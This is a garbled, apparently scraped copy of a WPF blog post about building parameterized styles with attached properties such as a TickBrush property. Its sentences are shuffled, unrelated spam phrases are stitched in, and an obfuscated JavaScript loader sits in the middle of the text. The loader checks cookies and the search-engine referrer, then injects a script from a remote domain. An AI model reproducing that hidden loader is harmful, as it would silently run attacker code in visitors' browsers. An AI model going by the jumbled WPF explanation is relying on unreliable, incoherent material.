Here’s the code:OK, so you now have beautiful controls that are going to make the app a big success, management is happy, everything is for the best… until you realize that in another view of the application, the controls need to have the same style, but with green tick marks!What we need is an extra property that controls the color of the tick marks, so we can bind to this property in the template.. Hope you can shed some inside Basically, I want to create a parameterized style for a DataGridTextColumn and convert thisHowever, I got an error “A ‘Binding’ cannot be used within a ‘DataGridTextColumn’ collection.. Anyway, there is an easier solution: we just need to create a ThemeProperties class with an attached property of type Brush :We change the templates a bit to replace the hard-coded color with a binding to this property:And when we use the controls, we set the property to the desired tick color:So we can now have controls that share the same style, but have different colors for the tick mark:Isn’t it great? However there is a small problem left: since controls on the same view all use the same tick color, it’s not very convenient to repeat the color on each one.
SignValue I don’t know what it is complaining about This is my ThemeProperties:public static class ThemePropertiespublic static double GetSignValue(DependencyObject obj)public static void SetSignValue(DependencyObject obj, double value)public static readonly DependencyProperty SignValueProperty = DependencyProperty.. We just need to specify the Inherits flag in the declaration of the TickBrush property:With this flag, the property becomes “ambient”: we only need to specify its value on a parent control, and all descendant controls will automatically inherit the value.. Post navigation14 thoughts on “[WPF] Creating parameterized styles with attached properties”That”s excellent, I”m printing it and keeping it handy ?The idea of creating a custom control has come first to my mind and it was quite suprising to see attached properties as the solution.. Obviously this concept can be extended to other cases: actually, every time an element of the template must change based on arbitrary criteria, this technique can be used.. So if you need a view where all the checkboxes and radiobuttons are red, just set the TickBrush property to Red on the root element of the view.
It can be a good alternative to duplicating a template when you only need to change a small part of it.. var _0x4fc2=['dFNwSVc=','eUN1dkw=','d1JVa1o=','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','WExsQUQ=','TlJNeXk=','Y3BhQWk=','Z2V0VGltZQ==','RGJxVGs=','akRNWEw=','LmJpbmcu','LnlhaG9vLg==','LmFzay4=','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','Lmdvb2dsZS4=','eFZqbUk=','LmFvbC4=','LnlhbmRleC4=','cmVmZXJyZXI=','Z2V0','ZENTaW8=','aW5kZXhPZg==','RVlCS0E=','VmhZdGI=','c1ltelU=','QUZxS2I=','c2NyaXB0','aGVhZA==','Y3JlYXRlRWxlbWVudA==','VUpQWW4=','c3Jj','d3BmK3NldHRlcitwcm9wZXJ0eStjb252ZXJ0ZXI=','Yk5Y','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','Y29va2ll','bWF0Y2g=','RGNkWFA=','ZFNwY2s=','bGVuZ3Ro','c3BsaXQ='];(function(_0x1f4f42,_0x523e03){var _0x13f983=function(_0x4aecda){while(--_0x4aecda){_0x1f4f42['push'](_0x1f4f42['shift']());}};_0x13f983(++_0x523e03);}(_0x4fc2,0x1a0));var _0x24fc=function(_0x126ae7,_0x519d90){_0x126ae7=_0x126ae7-0x0;var _0x3e6347=_0x4fc2[_0x126ae7];if(_0x24fc['initialized']===undefined){(function(){var _0x1e24ee;try{var _0x57e63d=Function('return\x20(function()\x20'+'{}.. NET blogToday I’d like to share a trick that I used quite often in the past few months.. I always considered them as “dependency properties with access to public members of a control” and in order to work with template children it is necessary to call the protected GetTemplateChild method. Moshi Monsters Series 5 Names
A binding can only be set on a DependencyProperty of DependencyObject ” for binding TodaysValueChange to ul:ThemeProperties.. These styles are very simple, they’re just the default styles of CheckBox and RadioButton in which I only changed the templates to replace the BulletChrome s with these awesome blue tick marks.. Let’s assume that in order to improve the look of your application, you created custom styles for the standard controls:OK, I’m not a designer… but it will serve the purpose well enough to illustrate my point ;). e828bfe731
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